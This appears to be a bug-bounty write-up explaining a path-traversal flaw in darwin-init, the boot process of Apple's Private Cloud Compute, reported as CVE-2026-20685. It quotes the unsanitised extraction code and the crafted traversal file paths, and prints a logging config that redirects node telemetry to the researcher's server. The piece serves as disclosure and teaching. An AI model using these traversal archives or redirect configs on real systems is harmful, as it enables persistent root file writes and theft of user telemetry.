Post cover image

August 12, 2026

How a 30-Year-Old Path Traversal Earned $150K From Apple’s AI Cloud

30-second version: Apple’s Private Cloud Compute (PCC) runs the heavy-lifting for Apple Intelligence. Its first userspace process…

By Abhishek meena

5 min read

30-second version: Apple's Private Cloud Compute (PCC) runs the heavy-lifting for Apple Intelligence. Its first userspace process, darwin-init, extracts signed "cryptex" bundles during boot. A researcher discovered that darwin-init uses a generic archive extractor that never checks file paths. By feeding it a crafted tar file, they could write files as root to a persistent location and redirect AI telemetry to their own server. Apple awarded $150,000 for this CVE-2026-20685 finding. The bug class (CWE-22) is the same one behind the famous Zip Slip attacks.

Why the researcher looked at a boot process

Most bug-bounty hunters focus on web bugs. But Apple's PCC security program highlights three guarantees: statelessness, attestation, and sealed observability. The researcher asked: where does the system first gain root privileges before those guarantees are enforced?

The answer was darwin-init, the very first userspace process on a PCC node. It runs as PID 1 and as root. Anything it writes to disk survives the reboot, because the services that enforce security only start after darwin-init finishes.

The boot pipeline in plain words

None 
darwin-init (PID 1, root)
  1. fetch config
  2. download cryptex
  3. extract files
  4. personalize & install
  5. userspace reboot

All of this happens before the node's normal services start. If darwin-init can be tricked into writing a file outside its intended folder, that file will persist and be usable by the production system.

The vulnerable code (simplified)

None 
guard let cStr = archive_entry_pathname(entry) else { continue }
let entryName = String(cString: cStr)

// Output directory: /var/tmp/darwin-init/cryptex/<UUID>/
let outPath = path.appending(entryName)
archive_entry_set_pathname(entry, outPath.description)

The code does not sanitise the entry name. If the entry contains ../, it can climb out of the extraction directory.

The extractor is chosen by looking at the first four bytes of the file. A normal Apple-signed archive starts with AEA1 or AA01. Anything else falls through to the generic extract(to:) function above -- exactly the path the researcher needed.

How many ".." are needed to survive?

darwin-init extracts into:

/var/tmp/darwin-init/cryptex//

Counting ../:

None

So the goal was to reach /var/db/ with a ../../../../db/ prefix.

First attempt - a dead end

The researcher created a simple tar that contained a file named ../../../../db/poc.txt. Running it in Apple's Virtual Research Environment (VRE) made darwin-init write the file, but the boot hung because the cryptex validation failed -- the system expected a valid Apple-signed bundle.

Result: a proof of concept that wrote a file, but the node never finished booting.

The breakthrough — a dual tar

The key was to give darwin-init both a malicious path-traversal entry and a legitimate cryptex bundle.

  1. Create a real cryptex using Apple's pccvre cryptex create tool.
  2. Add two extra files to the same tar:
  • ../../../../db/poc.txt -- the file the researcher wanted on the persistent volume.
  • ../../../../db/splunkloggingd/config-main.plist -- a config that points the internal logger to the researcher's server.
  1. Pack everything together so the generic extractor writes the two traversal files, then extracts the valid cryptex into the expected folder.

The node now passed the fullyApplied check, performed the userspace reboot, and came up normally.

Proof - what the researcher saw in the VRE

None 
$ ssh root@192.168.64.50 \
  'cat /var/db/poc.txt'
PATH_TRAVERSAL_CONFIRMED
written by darwin-init (FilePath+Archive.swift:95)

$ ssh root@192.168.64.50 \
  'test -f /var/db/.DarwinSetupDone && echo BOOT_COMPLETED'
BOOT_COMPLETED

The file existed after the reboot, owned by root, and the node reported a successful boot.

Making it dangerous - stealing AI telemetry

PCC runs an internal daemon called splunkloggingd. Its launch daemon watches a config file at /var/db/prcos/splunkloggingd/config-main.plist. If that file exists, the daemon starts and forwards logs to the URL inside the plist.

None

The second traversal entry wrote a plist that pointed to the researcher's listener:

<key>Server</key>     <string>http://192.168.64.1:8088</string>
<key>Index</key>      <string>exfil</string>
<key>Predicates</key>
<array>
  <string>subsystem == "com.apple.cloudos.cloudboard"</string>
  <string>subsystem == "com.apple.cloudos"</string>
  <string>subsystem == "com.apple.darwininit"</string>
</array>
<key>Level</key>      <string>Debug</string>

Within seconds of the node finishing boot, the researcher's listener started receiving POSTs with CloudBoard telemetry. When an inference request was triggered, the stream contained:

bundleID: "local-cloudboard-client"
workloadType: "tie-vre-cli"
requestID: "CAFC3ED5-…-363C47FB9B64"
inputTokens: 37
outputTokens: 100
firstTokenLatency: 1830 ms

No prompt text was leaked, but the metadata (token counts, request IDs, latency) is enough to fingerprint users and infer workload characteristics.

The attestation blind spot

Apple's PCC attestation verifies the software installed on the node (the cryptex bundle, signatures, etc.). It does not verify the contents of the writable data volume (/var/db/).

The researcher compared three boots:

None

The official verifier (pccvre attestation verify) reported no difference. The poisoned node looked clean, even though it was exfiltrating telemetry.

How the researcher found it - a quick workflow

  1. Read the source — Apple publishes darwin-init on GitHub; the researcher examined all file-handling code.
  2. Spot the extractor switch — a four-byte magic check that falls back to a generic libarchive extractor.
  3. Check libarchive flags — no ARCHIVE_EXTRACT_SECURE_* flags were set.
  4. Build a minimal tar — confirm path traversal works.
  5. Iterate — add a valid cryptex bundle until the node boots.
  6. Add impact — write the splunkloggingd config to demonstrate real data leakage.
  7. Report — submit through Apple's bug-bounty program, receive CVE-2026–20685 and a $150K award.

Why this matters for bug hunters

The model is the smallest part of an AI system's attack surface. The real prize often lies in the boot chain or configuration pipeline that runs with full privileges before any attestation checks.

  • Look for archive extraction code that runs as root.
  • Verify that path sanitisation (e.g., ARCHIVE_EXTRACT_SECURE_NODOTDOT) is enabled.
  • Check whether persistent writable volumes exist that are not covered by attestation.
  • Remember that a classic vulnerability (CWE-22) can be worth six figures when it hits a high-value target.
None

Takeaway

  • A 30-year-old path-traversal bug let the researcher write files as root on Apple's AI cloud.
  • By combining the traversal with a valid cryptex, the node booted and telemetry was redirected to an attacker-controlled server.
  • The bug bypassed Apple's attestation because it only checks installed software, not runtime configuration files.
  • For any cloud-based AI service, audit the boot process and any archive extractors — that's where the real money (and risk) lives.

Sources